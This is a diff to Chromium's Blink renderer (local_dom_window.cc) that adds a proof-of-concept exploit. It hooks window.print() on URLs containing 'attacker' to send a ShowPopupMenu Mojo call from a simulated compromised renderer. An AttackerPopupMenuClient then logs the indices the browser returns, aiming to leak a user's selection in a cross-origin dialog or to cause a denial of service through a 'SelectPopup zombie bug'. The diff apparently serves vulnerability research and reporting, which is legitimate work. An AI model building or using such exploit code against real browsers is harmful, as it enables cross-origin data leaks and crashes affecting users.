diff --git a/third_party/blink/renderer/core/frame/local_dom_window.cc b/third_party/blink/renderer/core/frame/local_dom_window.cc --- a/third_party/blink/renderer/core/frame/local_dom_window.cc +++ b/third_party/blink/renderer/core/frame/local_dom_window.cc @@ -44,6 +44,8 @@ #include "third_party/blink/public/common/switches.h" #include "third_party/blink/public/mojom/devtools/inspector_issue.mojom-blink.h" #include "third_party/blink/public/mojom/frame/frame.mojom-blink.h" +#include "third_party/blink/public/mojom/choosers/popup_menu.mojom-blink.h" +#include "mojo/public/cpp/bindings/receiver.h" #include "third_party/blink/public/mojom/permissions_policy/policy_disposition.mojom-blink.h" #include "third_party/blink/public/platform/browser_interface_broker_proxy.h" #include "third_party/blink/public/platform/platform.h" @@ -1404,9 +1406,57 @@ Element* LocalDOMWindow::frameElement() const { return DynamicTo(GetFrame()->Owner()); } +namespace { +// --- POC: simulated compromised-renderer PopupMenuClient ------------------ +// Logs whatever index the browser delivers via DidAcceptIndices(). If the +// SelectPopup zombie bug fires, this receives the index the *user* tapped in +// the victim-origin dialog (Sequence B: cross-origin one-integer leak). +class AttackerPopupMenuClient : public blink::mojom::blink::PopupMenuClient { + public: + static AttackerPopupMenuClient& Get() { + static base::NoDestructor i; + return *i; + } + mojo::PendingRemote Bind( + scoped_refptr tr) { + receiver_.reset(); + return receiver_.BindNewPipeAndPassRemote(std::move(tr)); + } + void CloseForDoS() { receiver_.reset(); } // Sequence A + // PopupMenuClient: + void DidAcceptIndices(const WTF::Vector& indices) override { + for (int32_t i : indices) + LOG(ERROR) << "[POC] attacker received victim index = " << i; + } + void DidCancel() override { LOG(ERROR) << "[POC] attacker DidCancel()"; } + + private: + mojo::Receiver receiver_{this}; +}; +} // namespace + void LocalDOMWindow::print(ScriptState* script_state) { // Don't try to print if there's no frame attached anymore. if (!GetFrame()) return; + + // --- POC hook: window.print() from attacker.html sends ShowPopupMenu ---- + if (Url().GetString().Contains("attacker")) { + auto tr = GetTaskRunner(TaskType::kInternalUserInteraction); + WTF::Vector items; + auto item = blink::mojom::blink::MenuItem::New(); + item->label = "attacker-item"; + item->type = blink::mojom::blink::MenuItem::Type::kOption; + item->enabled = true; + items.push_back(std::move(item)); + GetFrame()->GetLocalFrameHostRemote().ShowPopupMenu( + AttackerPopupMenuClient::Get().Bind(tr), + gfx::Rect(0, 0, 10, 10), /*font_size=*/12, + /*selected_item=*/0, std::move(items), + /*right_aligned=*/false, /*allow_multiple_selection=*/false); + LOG(ERROR) << "[POC] attacker frame sent LocalFrameHost.ShowPopupMenu"; + return; + } if (script_state && IsRunningMicrotasks(script_state)) { UseCounter::Count(this, WebFeature::kDuring_Microtask_Print);